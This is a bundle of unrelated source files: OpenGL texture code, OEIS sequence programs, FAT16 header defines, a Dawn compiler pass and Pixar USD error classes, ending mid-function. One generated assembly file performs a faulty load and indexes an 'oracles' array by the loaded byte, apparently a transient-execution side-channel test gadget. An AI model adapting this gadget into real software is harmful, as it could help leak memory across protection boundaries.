glUniform1i(glGetUniformLocation(shaderProgram, glSamplerName.c_str()), textureUnit);
}
void Texture3D::Clear(GLfloat clearColor[4])
{
GLint previousBoundTextureID;
glGetIntegerv(GL_TEXTURE_BINDING_3D, &previousBoundTextureID);
glBindTexture(GL_TEXTURE_3D, textureID);
glClearTexImage(textureID, 0, GL_RGBA, GL_FLOAT, &clearColor);
glBindTexture(GL_TEXTURE_3D, previousBoundTextureID);
} |
; A072672: Prime(n)*prime(2*n)+prime(n)+prime(2*n).
; Submitted by Christian Krause
; 11,31,83,159,359,531,791,1079,1487,2159,2559,3419,4283,4751,5471,7127,8399,9423,11151,12527,13467,15519,16799,20159,22539,24479,26207,28511,29919,32147,37631,41183,43883,47319,52499,54719,59091,62975,66863
mov $1,$0
seq $0,40 ; The prime numbers.
add $0,1
mul $1,2
add $1,1
seq $1,40 ; The prime numbers.
add $1,1
mul $1,$0
mov $0,$1
sub $0,1
|
; A021764: Expansion of 1/((1-x)(1-4x)(1-5x)(1-8x)).
; Submitted by Jon Maiga
; 1,18,215,2160,19821,172638,1456915,12056220,98541641,799142058,6448579215,51871439880,416407919461,3338534836278,26744994007115,214144960297140,1714090450201281,13717400347223298,109762678131820615,878219168328612000,7026343529014635101,56213705008107791118,449724447401063939715,3597869709714511808460,28783328705546064868921,230268486284718246747738,1842157179484294116124415,14737303905926291652350520,117898663693746818886150741,943190472165964147628221158,7545529591944889836529974715
mov $1,1
mov $2,1
mov $3,2
lpb $0
sub $0,1
mul $1,5
mul $3,8
add $3,2
add $1,$3
mul $2,4
add $2,1
sub $1,$2
lpe
mov $0,$1
|
; Этот файл содержит в себе определения для доступа к параметрам содержищимся в заголовке FAT16 файловой системы
%ifndef FAT_DEF
%define FAT_DEF
%define bsOemName bp+0x03 ; 8 ; OEM название
%define bsBytesPerSec bp+0x0B ; dw ; кол-во байт в секторе
%define bsSecsPerClust bp+0x0D ; db ; секторов/кластер
%define bsResSectors bp+0x0E ; dw ; кол-во зарез. секторов
%define bsFATs bp+0x10 ; db ; кол-во таблиц fat
%define bsRootDirEnts bp+0x11 ; dw ; кол-во папок в корне ФС
%define bsSectors bp+0x13 ; dw ; кол-во секторов
%define bsMedia bp+0x15 ; db ; дескриптор медиа
%define bsSecsPerFat bp+0x16 ; dw ; кол-во секторов в таблице fat
%define bsSecsPerTrack bp+0x18 ; dw ; кол-во секторов в дорожке
%define bsHeads bp+0x1A ; dw ; кол-во головок
%define bsHidden bp+0x1C ; dd ; кол-во скрытых секторов
%define bsSectorHuge bp+0x20 ; dd ; кол-во секторов для больших разделов
%define bsDriveNumber bp+0x24 ; dw ; номер диска
%define bsSigniture bp+0x26 ; db ; сигнатура
%define bsVolumeSerial bp+0x27 ; dd ; серийный номер устройства
%define bsVolumeLabel bp+0x2B ; 11 ; метка тома
%define bsSysID bp+0x36 ; 8 ; системный номер устройства
%endif |
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_RW+0xcd35, %r11
nop
nop
and %rsi, %rsi
movb $0x51, (%r11)
nop
nop
nop
nop
nop
and %rsi, %rsi
// Store
lea addresses_D+0x13a35, %rdx
clflush (%rdx)
nop
nop
nop
and %r13, %r13
mov $0x5152535455565758, %r11
movq %r11, (%rdx)
nop
nop
nop
add $65017, %rsi
// Store
lea addresses_WT+0x82b5, %rsi
nop
nop
inc %r14
movw $0x5152, (%rsi)
nop
nop
and $42024, %rdi
// Store
lea addresses_normal+0x1d249, %r14
clflush (%r14)
nop
nop
nop
nop
nop
xor $8403, %rdi
movb $0x51, (%r14)
nop
nop
and %r13, %r13
// Load
mov $0x4ed8550000000635, %r13
nop
nop
nop
xor $55229, %rdx
mov (%r13), %ecx
nop
nop
nop
cmp $35874, %r14
// Store
lea addresses_RW+0xafb5, %rdx
nop
nop
cmp $18336, %rsi
mov $0x5152535455565758, %rcx
movq %rcx, %xmm7
movups %xmm7, (%rdx)
nop
nop
nop
and $80, %rsi
// Store
lea addresses_US+0xbdb5, %rcx
nop
nop
nop
sub $26365, %rsi
mov $0x5152535455565758, %rdi
movq %rdi, %xmm4
vmovups %ymm4, (%rcx)
dec %rdx
// Store
mov $0x235, %rsi
nop
xor %rdx, %rdx
movw $0x5152, (%rsi)
nop
nop
add %r11, %r11
// Store
lea addresses_A+0x13bf5, %r14
nop
nop
sub %r11, %r11
movw $0x5152, (%r14)
nop
add $8345, %r11
// Store
lea addresses_WT+0x63, %rdx
nop
dec %r11
mov $0x5152535455565758, %rcx
movq %rcx, %xmm6
vmovntdq %ymm6, (%rdx)
nop
nop
nop
nop
dec %r11
// Faulty Load
mov $0x4ed8550000000635, %rcx
nop
nop
and $18372, %r11
mov (%rcx), %rdx
lea oracles, %r13
and $0xff, %rdx
shlq $12, %rdx
mov (%r13,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 7, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 10, 'same': True, 'type': 'addresses_D'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
{'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_US'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 4, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'00': 17}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A108154: a(n) = n^2 - n + 1 if prime else 0.
; 0,3,7,13,0,31,43,0,73,0,0,0,157,0,211,241,0,307,0,0,421,463,0,0,601,0,0,757,0,0,0,0,0,1123,0,0,0,0,1483,0,0,1723,0,0,0,0,0,0,0,0,2551,0,0,0,2971,0,0,3307,0,3541,0,0,3907,0,0,0,4423,0,0,4831,0,5113,0,0,0,5701,0
mov $2,$0
pow $2,2
add $0,$2
mov $1,$0
add $0,1
mul $0,2
seq $1,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
mul $0,$1
div $0,2
|
; ===============================================================
; Mar 2014
; ===============================================================
;
; size_t b_vector_size(b_vector_t *v)
;
; Return the vector's current size.
;
; ===============================================================
SECTION code_adt_b_vector
PUBLIC asm_b_vector_size
EXTERN l_readword_hl
defc asm_b_vector_size = l_readword_hl - 2
; enter : hl = vector *
;
; exit : hl = size
;
; uses : a, hl
|
//===--------------------------------------------------------------------------------*- C++ -*-===//
// _
// | |
// __| | __ ___ ___ ___
// / _` |/ _` \ \ /\ / / '_ |
// | (_| | (_| |\ V V /| | | |
// \__,_|\__,_| \_/\_/ |_| |_| - Compiler Toolchain
//
//
// This file is distributed under the MIT License (MIT).
// See LICENSE.txt for details.
//
//===------------------------------------------------------------------------------------------===//
#include "dawn/Optimizer/Replacing.h"
#include "dawn/IIR/ASTExpr.h"
#include "dawn/IIR/ASTStmt.h"
#include "dawn/AST/ASTUtil.h"
#include "dawn/AST/ASTVisitor.h"
#include "dawn/IIR/InstantiationHelper.h"
#include "dawn/IIR/StencilInstantiation.h"
#include <unordered_map>
namespace dawn {
namespace {
/// @brief Get all field and variable accesses identifier by `AccessID`
class GetFieldAndVarAccesses : public ast::ASTVisitorForwardingNonConst {
int AccessID_;
std::vector<std::shared_ptr<ast::FieldAccessExpr>> fieldAccessExprToReplace_;
std::vector<std::shared_ptr<ast::VarAccessExpr>> varAccessesToReplace_;
public:
GetFieldAndVarAccesses(int AccessID) : AccessID_(AccessID) {}
void visit(const std::shared_ptr<ast::VarAccessExpr>& expr) override {
if(iir::getAccessID(expr) == AccessID_)
varAccessesToReplace_.emplace_back(expr);
}
void visit(const std::shared_ptr<ast::FieldAccessExpr>& expr) override {
if(iir::getAccessID(expr) == AccessID_)
fieldAccessExprToReplace_.emplace_back(expr);
}
std::vector<std::shared_ptr<ast::VarAccessExpr>>& getVarAccessesToReplace() {
return varAccessesToReplace_;
}
std::vector<std::shared_ptr<ast::FieldAccessExpr>>& getFieldAccessExprToReplace() {
return fieldAccessExprToReplace_;
}
void reset() {
fieldAccessExprToReplace_.clear();
varAccessesToReplace_.clear();
}
};
} // anonymous namespace
void replaceFieldWithVarAccessInStmts(iir::Stencil* stencil, int AccessID,
const std::string& varname,
ArrayRef<std::shared_ptr<ast::Stmt>> stmts) {
GetFieldAndVarAccesses visitor(AccessID);
for(const auto& stmt : stmts) {
visitor.reset();
stmt->accept(visitor);
for(auto& oldExpr : visitor.getFieldAccessExprToReplace()) {
auto newExpr = std::make_shared<ast::VarAccessExpr>(varname);
ast::replaceOldExprWithNewExprInStmt(stmt, oldExpr, newExpr);
newExpr->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(AccessID);
}
}
}
void replaceVarWithFieldAccessInStmts(iir::Stencil* stencil, int AccessID,
const std::string& fieldname,
ArrayRef<std::shared_ptr<ast::Stmt>> stmts) {
GetFieldAndVarAccesses visitor(AccessID);
for(const auto& stmt : stmts) {
visitor.reset();
stmt->accept(visitor);
for(auto& oldExpr : visitor.getVarAccessesToReplace()) {
auto newExpr = std::make_shared<ast::FieldAccessExpr>(fieldname);
ast::replaceOldExprWithNewExprInStmt(stmt, oldExpr, newExpr);
newExpr->getData<iir::IIRAccessExprData>().AccessID = std::make_optional(AccessID);
}
}
}
namespace {
/// @brief Get all field and variable accesses identifier by `AccessID`
class GetStencilCalls : public ast::ASTVisitorForwardingNonConst {
const std::shared_ptr<iir::StencilInstantiation>& instantiation_;
int StencilID_;
std::vector<std::shared_ptr<ast::StencilCallDeclStmt>> stencilCallsToReplace_;
public:
GetStencilCalls(const std::shared_ptr<iir::StencilInstantiation>& instantiation, int StencilID)
: instantiation_(instantiation), StencilID_(StencilID) {}
void visit(const std::shared_ptr<ast::StencilCallDeclStmt>& stmt) override {
if(instantiation_->getMetaData().getStencilIDFromStencilCallStmt(stmt) == StencilID_)
stencilCallsToReplace_.emplace_back(stmt);
}
std::vector<std::shared_ptr<ast::StencilCallDeclStmt>>& getStencilCallsToReplace() {
return stencilCallsToReplace_;
}
void reset() { stencilCallsToReplace_.clear(); }
};
} // anonymous namespace
void replaceStencilCalls(const std::shared_ptr<iir::StencilInstantiation>& instantiation,
int oldStencilID, const std::vector<int>& newStencilIDs) {
GetStencilCalls visitor(instantiation, oldStencilID);
for(auto& stmt : instantiation->getIIR()->getControlFlowDescriptor().getStatements()) {
visitor.reset();
stmt->accept(visitor);
for(auto& oldStencilCall : visitor.getStencilCallsToReplace()) {
// Create the new stencils
std::vector<std::shared_ptr<ast::StencilCallDeclStmt>> newStencilCalls;
for(int StencilID : newStencilIDs) {
auto placeholderStencil = std::make_shared<ast::StencilCall>(
iir::InstantiationHelper::makeStencilCallCodeGenName(StencilID));
newStencilCalls.push_back(iir::makeStencilCallDeclStmt(placeholderStencil));
}
// Bundle all the statements in a block statements
auto newBlockStmt = iir::makeBlockStmt();
newBlockStmt->insert_back(newStencilCalls);
if(oldStencilCall == stmt) {
// Replace the the statement directly
DAWN_ASSERT(visitor.getStencilCallsToReplace().size() == 1);
stmt = newBlockStmt;
} else {
// Recursively replace the statement
ast::replaceOldStmtWithNewStmtInStmt(stmt, oldStencilCall, newBlockStmt);
}
auto& metadata = instantiation->getMetaData();
metadata.eraseStencilCallStmt(oldStencilCall);
for(std::size_t i = 0; i < newStencilIDs.size(); ++i) {
metadata.addStencilCallStmt(newStencilCalls[i], newStencilIDs[i]);
}
}
}
}
} // namespace dawn
|
//
// Copyright 2016 Pixar
//
// Licensed under the Apache License, Version 2.0 (the "Apache License")
// with the following modification; you may not use this file except in
// compliance with the Apache License and the following modification to it:
// Section 6. Trademarks. is deleted and replaced with:
//
// 6. Trademarks. This License does not grant permission to use the trade
// names, trademarks, service marks, or product names of the Licensor
// and its affiliates, except as required to comply with Section 4(c) of
// the License and to reproduce the content of the NOTICE file.
//
// You may obtain a copy of the Apache License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the Apache License with the above modification is
// distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the Apache License for the specific
// language governing permissions and limitations under the Apache License.
//
#include "pxr/pxr.h"
#include "pxr/usd/pcp/errors.h"
#include "pxr/base/tf/stringUtils.h"
PXR_NAMESPACE_OPEN_SCOPE
///////////////////////////////////////////////////////////////////////////////
TF_REGISTRY_FUNCTION(TfEnum) {
TF_ADD_ENUM_NAME(PcpErrorType_ArcCycle);
TF_ADD_ENUM_NAME(PcpErrorType_ArcPermissionDenied);
TF_ADD_ENUM_NAME(PcpErrorType_InconsistentPropertyType);
TF_ADD_ENUM_NAME(PcpErrorType_InconsistentAttributeType);
TF_ADD_ENUM_NAME(PcpErrorType_InconsistentAttributeVariability);
TF_ADD_ENUM_NAME(PcpErrorType_InternalAssetPath);
TF_ADD_ENUM_NAME(PcpErrorType_InvalidPrimPath);
TF_ADD_ENUM_NAME(PcpErrorType_InvalidAssetPath);
TF_ADD_ENUM_NAME(PcpErrorType_InvalidInstanceTargetPath);
TF_ADD_ENUM_NAME(PcpErrorType_InvalidExternalTargetPath);
TF_ADD_ENUM_NAME(PcpErrorType_InvalidTargetPath);
TF_ADD_ENUM_NAME(PcpErrorType_InvalidReferenceOffset);
TF_ADD_ENUM_NAME(PcpErrorType_InvalidSublayerOffset);
TF_ADD_ENUM_NAME(PcpErrorType_InvalidSublayerOwnership);
TF_ADD_ENUM_NAME(PcpErrorType_InvalidSublayerPath);
TF_ADD_ENUM_NAME(PcpErrorType_InvalidVariantSelection);
TF_ADD_ENUM_NAME(PcpErrorType_OpinionAtRelocationSource);
TF_ADD_ENUM_NAME(PcpErrorType_PrimPermissionDenied);
TF_ADD_ENUM_NAME(PcpErrorType_PropertyPermissionDenied);
TF_ADD_ENUM_NAME(PcpErrorType_SublayerCycle);
TF_ADD_ENUM_NAME(PcpErrorType_TargetPermissionDenied);
TF_ADD_ENUM_NAME(PcpErrorType_UnresolvedPrimPath);
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorBase::PcpErrorBase(TfEnum errorType) :
errorType(errorType)
{
}
// virtual
PcpErrorBase::~PcpErrorBase()
{
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorArcCyclePtr
PcpErrorArcCycle::New()
{
return PcpErrorArcCyclePtr(new PcpErrorArcCycle);
}
PcpErrorArcCycle::PcpErrorArcCycle() :
PcpErrorBase(PcpErrorType_ArcCycle)
{
}
PcpErrorArcCycle::~PcpErrorArcCycle()
{
}
// virtual
std::string
PcpErrorArcCycle::ToString() const
{
if (cycle.empty())
return std::string();
std::string msg = "Cycle detected:\n";
for (size_t i = 0; i < cycle.size(); i++) {
const PcpSiteTrackerSegment &segment = cycle[i];
if (i > 0) {
if (i + 1 < cycle.size()) {
switch(segment.arcType) {
case PcpArcTypeInherit:
msg += "inherits from:\n";
break;
case PcpArcTypeRelocate:
msg += "is relocated from:\n";
break;
case PcpArcTypeVariant:
msg += "uses variant:\n";
break;
case PcpArcTypeReference:
msg += "references:\n";
break;
case PcpArcTypePayload:
msg += "gets payload from:\n";
break;
default:
msg += "refers to:\n";
break;
}
}
else {
msg += "CANNOT ";
switch(segment.arcType) {
case PcpArcTypeInherit:
msg += "inherit from:\n";
break;
case PcpArcTypeRelocate:
msg += "be relocated from:\n";
break;
case PcpArcTypeVariant:
msg += "use variant:\n";
break;
case PcpArcTypeReference:
msg += "reference:\n";
break;
case PcpArcTypePayload:
msg += "get payload from:\n";
break;
default:
msg += "refer to:\n";
break;
}
}
}
msg += TfStringPrintf("%s\n", TfStringify(segment.site).c_str());
if ((i > 0) && (i + 1 < cycle.size()))
msg += "which ";
}
return msg;
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorArcPermissionDeniedPtr
PcpErrorArcPermissionDenied::New()
{
return PcpErrorArcPermissionDeniedPtr(new PcpErrorArcPermissionDenied);
}
PcpErrorArcPermissionDenied::PcpErrorArcPermissionDenied() :
PcpErrorBase(PcpErrorType_ArcPermissionDenied)
{
}
PcpErrorArcPermissionDenied::~PcpErrorArcPermissionDenied()
{
}
// virtual
std::string
PcpErrorArcPermissionDenied::ToString() const
{
std::string msg = TfStringPrintf("%s\nCANNOT ", TfStringify(site).c_str());
switch(arcType) {
case PcpArcTypeInherit:
msg += "inherit from:\n";
break;
case PcpArcTypeRelocate:
msg += "be relocated from:\n";
break;
case PcpArcTypeVariant:
msg += "use variant:\n";
break;
case PcpArcTypeReference:
msg += "reference:\n";
break;
case PcpArcTypePayload:
msg += "get payload from:\n";
break;
default:
msg += "refer to:\n";
break;
}
msg += TfStringPrintf("%s\nwhich is private.",
TfStringify(privateSite).c_str());
return msg;
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInconsistentPropertyBase::PcpErrorInconsistentPropertyBase(
TfEnum errorType) :
PcpErrorBase(errorType)
{
}
// virtual
PcpErrorInconsistentPropertyBase::~PcpErrorInconsistentPropertyBase()
{
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInconsistentPropertyTypePtr
PcpErrorInconsistentPropertyType::New()
{
return PcpErrorInconsistentPropertyTypePtr(
new PcpErrorInconsistentPropertyType);
}
PcpErrorInconsistentPropertyType::PcpErrorInconsistentPropertyType() :
PcpErrorInconsistentPropertyBase(PcpErrorType_InconsistentPropertyType)
{
}
PcpErrorInconsistentPropertyType::~PcpErrorInconsistentPropertyType()
{
}
// virtual
std::string
PcpErrorInconsistentPropertyType::ToString() const
{
return TfStringPrintf(
"The property <%s> has inconsistent spec types. "
"The defining spec is @%s@<%s> and is %s spec. "
"The conflicting spec is @%s@<%s> and is %s spec. "
"The conflicting spec will be ignored.",
rootSite.path.GetString().c_str(),
definingLayerIdentifier.c_str(),
definingSpecPath.GetString().c_str(),
(definingSpecType == SdfSpecTypeAttribute ?
"an attribute" : "a relationship"),
conflictingLayerIdentifier.c_str(),
conflictingSpecPath.GetString().c_str(),
(conflictingSpecType == SdfSpecTypeAttribute ?
"an attribute" : "a relationship"));
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInconsistentAttributeTypePtr
PcpErrorInconsistentAttributeType::New()
{
return PcpErrorInconsistentAttributeTypePtr(
new PcpErrorInconsistentAttributeType);
}
PcpErrorInconsistentAttributeType::PcpErrorInconsistentAttributeType() :
PcpErrorInconsistentPropertyBase(PcpErrorType_InconsistentAttributeType)
{
}
PcpErrorInconsistentAttributeType::~PcpErrorInconsistentAttributeType()
{
}
// virtual
std::string
PcpErrorInconsistentAttributeType::ToString() const
{
return TfStringPrintf(
"The attribute <%s> has specs with inconsistent value types. "
"The defining spec is @%s@<%s> with value type '%s'. "
"The conflicting spec is @%s@<%s> with value type '%s'. "
"The conflicting spec will be ignored.",
rootSite.path.GetString().c_str(),
definingLayerIdentifier.c_str(),
definingSpecPath.GetString().c_str(),
definingValueType.GetText(),
conflictingLayerIdentifier.c_str(),
conflictingSpecPath.GetString().c_str(),
conflictingValueType.GetText());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInconsistentAttributeVariabilityPtr
PcpErrorInconsistentAttributeVariability::New()
{
return PcpErrorInconsistentAttributeVariabilityPtr(
new PcpErrorInconsistentAttributeVariability);
}
PcpErrorInconsistentAttributeVariability::
PcpErrorInconsistentAttributeVariability() :
PcpErrorInconsistentPropertyBase(
PcpErrorType_InconsistentAttributeVariability)
{
}
PcpErrorInconsistentAttributeVariability::
~PcpErrorInconsistentAttributeVariability()
{
}
// virtual
std::string
PcpErrorInconsistentAttributeVariability::ToString() const
{
return TfStringPrintf(
"The attribute <%s> has specs with inconsistent variability. "
"The defining spec is @%s@<%s> with variability '%s'. The "
"conflicting spec is @%s@<%s> with variability '%s'. The "
"conflicting variability will be ignored.",
rootSite.path.GetString().c_str(),
definingLayerIdentifier.c_str(),
definingSpecPath.GetString().c_str(),
TfEnum::GetName(definingVariability).c_str(),
conflictingLayerIdentifier.c_str(),
conflictingSpecPath.GetString().c_str(),
TfEnum::GetName(conflictingVariability).c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInternalAssetPathPtr
PcpErrorInternalAssetPath::New()
{
return PcpErrorInternalAssetPathPtr(new PcpErrorInternalAssetPath);
}
PcpErrorInternalAssetPath::PcpErrorInternalAssetPath() :
PcpErrorBase(PcpErrorType_InternalAssetPath)
{
}
PcpErrorInternalAssetPath::~PcpErrorInternalAssetPath()
{
}
// virtual
std::string
PcpErrorInternalAssetPath::ToString() const
{
return TfStringPrintf("Ignoring %s path on prim <%s> because asset @%s@ "
"is internal.",
TfEnum::GetDisplayName(arcType).c_str(),
site.path.GetText(), resolvedAssetPath.c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInvalidPrimPathPtr
PcpErrorInvalidPrimPath::New()
{
return PcpErrorInvalidPrimPathPtr(new PcpErrorInvalidPrimPath);
}
PcpErrorInvalidPrimPath::PcpErrorInvalidPrimPath() :
PcpErrorBase(PcpErrorType_InvalidPrimPath)
{
}
PcpErrorInvalidPrimPath::~PcpErrorInvalidPrimPath()
{
}
// virtual
std::string
PcpErrorInvalidPrimPath::ToString() const
{
return TfStringPrintf("Invalid %s path <%s> on prim %s "
"-- must be an absolute prim path.",
TfEnum::GetDisplayName(arcType).c_str(),
primPath.GetText(),
TfStringify(site).c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInvalidAssetPathBase::PcpErrorInvalidAssetPathBase(
TfEnum errorType) :
PcpErrorBase(errorType)
{
}
// virtual
PcpErrorInvalidAssetPathBase::~PcpErrorInvalidAssetPathBase()
{
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInvalidAssetPathPtr
PcpErrorInvalidAssetPath::New()
{
return PcpErrorInvalidAssetPathPtr(new PcpErrorInvalidAssetPath);
}
PcpErrorInvalidAssetPath::PcpErrorInvalidAssetPath() :
PcpErrorInvalidAssetPathBase(PcpErrorType_InvalidAssetPath)
{
}
PcpErrorInvalidAssetPath::~PcpErrorInvalidAssetPath()
{
}
// virtual
std::string
PcpErrorInvalidAssetPath::ToString() const
{
return TfStringPrintf("Could not open asset @%s@ for %s on prim %s%s%s.",
resolvedAssetPath.c_str(),
TfEnum::GetDisplayName(arcType).c_str(),
TfStringify(site).c_str(),
messages.empty() ? "" : " -- ",
messages.c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorMutedAssetPathPtr
PcpErrorMutedAssetPath::New()
{
return PcpErrorMutedAssetPathPtr(new PcpErrorMutedAssetPath);
}
PcpErrorMutedAssetPath::PcpErrorMutedAssetPath() :
PcpErrorInvalidAssetPathBase(PcpErrorType_MutedAssetPath)
{
}
PcpErrorMutedAssetPath::~PcpErrorMutedAssetPath()
{
}
// virtual
std::string
PcpErrorMutedAssetPath::ToString() const
{
return TfStringPrintf("Asset @%s@ was muted for %s on prim %s.",
resolvedAssetPath.c_str(),
TfEnum::GetDisplayName(arcType).c_str(),
TfStringify(site).c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorTargetPathBase::PcpErrorTargetPathBase(TfEnum errorType)
: PcpErrorBase(errorType)
{
}
PcpErrorTargetPathBase::~PcpErrorTargetPathBase()
{
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInvalidInstanceTargetPathPtr
PcpErrorInvalidInstanceTargetPath::New()
{
return PcpErrorInvalidInstanceTargetPathPtr(
new PcpErrorInvalidInstanceTargetPath);
}
PcpErrorInvalidInstanceTargetPath::PcpErrorInvalidInstanceTargetPath()
: PcpErrorTargetPathBase(PcpErrorType_InvalidInstanceTargetPath)
{
}
PcpErrorInvalidInstanceTargetPath::~PcpErrorInvalidInstanceTargetPath()
{
}
// virtual
std::string
PcpErrorInvalidInstanceTargetPath::ToString() const
{
TF_VERIFY(ownerSpecType == SdfSpecTypeAttribute ||
ownerSpecType == SdfSpecTypeRelationship);
return TfStringPrintf(
"The %s <%s> from <%s> in layer @%s@ is authored in a class "
"but refers to an instance of that class. Ignoring.",
(ownerSpecType == SdfSpecTypeAttribute
? "attribute connection"
: "relationship target"),
targetPath.GetText(),
owningPath.GetText(),
layer->GetIdentifier().c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInvalidExternalTargetPathPtr
PcpErrorInvalidExternalTargetPath::New()
{
return PcpErrorInvalidExternalTargetPathPtr(
new PcpErrorInvalidExternalTargetPath);
}
PcpErrorInvalidExternalTargetPath::PcpErrorInvalidExternalTargetPath()
: PcpErrorTargetPathBase(PcpErrorType_InvalidExternalTargetPath)
{
}
PcpErrorInvalidExternalTargetPath::~PcpErrorInvalidExternalTargetPath()
{
}
// virtual
std::string
PcpErrorInvalidExternalTargetPath::ToString() const
{
TF_VERIFY(ownerSpecType == SdfSpecTypeAttribute ||
ownerSpecType == SdfSpecTypeRelationship);
return TfStringPrintf("The %s <%s> from <%s> in layer @%s@ refers "
"to a path outside the scope of the %s from <%s>. "
"Ignoring.",
(ownerSpecType == SdfSpecTypeAttribute
? "attribute connection"
: "relationship target"),
targetPath.GetText(),
owningPath.GetText(),
layer->GetIdentifier().c_str(),
TfEnum::GetDisplayName(TfEnum(ownerArcType)).c_str(),
ownerIntroPath.GetText());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInvalidTargetPathPtr
PcpErrorInvalidTargetPath::New()
{
return PcpErrorInvalidTargetPathPtr(
new PcpErrorInvalidTargetPath);
}
PcpErrorInvalidTargetPath::PcpErrorInvalidTargetPath()
: PcpErrorTargetPathBase(PcpErrorType_InvalidTargetPath)
{
}
PcpErrorInvalidTargetPath::~PcpErrorInvalidTargetPath()
{
}
// virtual
std::string
PcpErrorInvalidTargetPath::ToString() const
{
TF_VERIFY(ownerSpecType == SdfSpecTypeAttribute ||
ownerSpecType == SdfSpecTypeRelationship);
return TfStringPrintf(
"The %s <%s> from <%s> in layer @%s@ is invalid. This may be "
"because the path is the pre-relocated source path of a "
"relocated prim. Ignoring.",
(ownerSpecType == SdfSpecTypeAttribute
? "attribute connection"
: "relationship target"),
targetPath.GetText(),
owningPath.GetText(),
layer->GetIdentifier().c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInvalidSublayerOffsetPtr
PcpErrorInvalidSublayerOffset::New()
{
return PcpErrorInvalidSublayerOffsetPtr(new PcpErrorInvalidSublayerOffset);
}
PcpErrorInvalidSublayerOffset::PcpErrorInvalidSublayerOffset() :
PcpErrorBase(PcpErrorType_InvalidSublayerOffset)
{
}
PcpErrorInvalidSublayerOffset::~PcpErrorInvalidSublayerOffset()
{
}
// virtual
std::string
PcpErrorInvalidSublayerOffset::ToString() const
{
return TfStringPrintf("Invalid sublayer offset %s in sublayer @%s@ of "
"layer @%s@. Using no offset instead.",
TfStringify(offset).c_str(),
sublayer->GetIdentifier().c_str(),
layer->GetIdentifier().c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInvalidReferenceOffsetPtr
PcpErrorInvalidReferenceOffset::New()
{
return PcpErrorInvalidReferenceOffsetPtr(new PcpErrorInvalidReferenceOffset);
}
PcpErrorInvalidReferenceOffset::PcpErrorInvalidReferenceOffset() :
PcpErrorBase(PcpErrorType_InvalidReferenceOffset)
{
}
PcpErrorInvalidReferenceOffset::~PcpErrorInvalidReferenceOffset()
{
}
// virtual
std::string
PcpErrorInvalidReferenceOffset::ToString() const
{
return TfStringPrintf("Invalid reference offset %s at %s on "
"asset path '%s'. Using no offset instead.",
TfStringify(offset).c_str(),
TfStringify(PcpSite(layer, sourcePath)).c_str(),
assetPath.c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInvalidSublayerOwnershipPtr
PcpErrorInvalidSublayerOwnership::New()
{
return PcpErrorInvalidSublayerOwnershipPtr(
new PcpErrorInvalidSublayerOwnership);
}
PcpErrorInvalidSublayerOwnership::PcpErrorInvalidSublayerOwnership() :
PcpErrorBase(PcpErrorType_InvalidSublayerOwnership)
{
}
PcpErrorInvalidSublayerOwnership::~PcpErrorInvalidSublayerOwnership()
{
}
// virtual
std::string
PcpErrorInvalidSublayerOwnership::ToString() const
{
std::vector<std::string> sublayerStrVec;
TF_FOR_ALL(sublayer, sublayers) {
sublayerStrVec.push_back("@" + (*sublayer)->GetIdentifier() + "@");
}
return TfStringPrintf("The following sublayers for layer @%s@ have the "
"same owner '%s': %s",
layer->GetIdentifier().c_str(),
owner.c_str(),
